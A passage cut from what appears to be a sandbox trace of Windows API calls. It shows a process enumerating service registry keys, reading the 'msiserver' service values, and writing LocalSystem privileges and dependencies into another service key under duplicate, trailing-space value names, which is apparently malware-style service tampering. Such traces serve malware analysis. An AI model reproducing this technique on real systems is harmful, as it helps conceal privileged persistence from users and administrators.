lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0254.843] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0254.843] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0254.843] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0254.843] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0254.843] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0254.843] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0254.843] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0254.843] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0254.843] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0254.844] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0254.844] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0254.844] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0254.844] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0254.844] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0254.844] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0254.844] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0254.844] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0254.844] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0254.844] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0254.844] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0254.844] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0254.845] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0254.845] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0254.845] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0254.845] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0254.845] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0254.845] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0254.845] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0254.845] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0254.845] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0254.845] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0254.845] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0254.845] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0254.845] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0254.846] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0254.846] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0254.846] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0254.846] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0254.846] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0254.846] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0254.846] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0254.846] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0254.846] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0254.846] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0254.846] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0254.846] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0254.847] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0254.847] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0254.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0254.847] RegCloseKey (hKey=0x148) returned 0x0 [0254.847] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0254.847] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0254.847] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0254.847] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0254.847] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0254.847] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0254.847] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0254.847] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0254.847] RegCloseKey (hKey=0x80000002) returned 0x0 [0254.847] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0254.848] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0254.848] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0254.848] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0254.848] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0254.848] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0254.848] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0254.848] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0254.848] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0254.848] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0254.848] RegCloseKey (hKey=0x14c) returned 0x0 [0254.848] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0254.848] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0254.848] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0254.849] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0254.849] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0254.849] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0254.849] RegCloseKey (hKey=0x148) returned 0x0 [0254.849] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0254.849] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0254.849] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0254.849] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0254.849] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0254.849] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0254.849] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0254.849] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0254.849] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0254.850] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.850] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.850] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.850] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.850] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.850] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.850] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.850] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.850] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.851] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.851] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.851] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.851] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.851] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.851] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.851] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.851] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0254.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0254.851] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0254.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0254.852] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.852] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.852] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.852] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.852] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.852] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.852] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.852] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.852] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.852] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.852] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.852] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.853] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.853] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.853] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.853] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.853] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0254.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0254.853] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0254.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0254.853] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.853] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.853] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.853] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.854] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.854] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.854] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.854] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.854] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.854] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.854] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.854] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.854] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.854] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.854] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.854] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.855] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0254.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0254.855] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0254.855] RegEnumValueA (in: 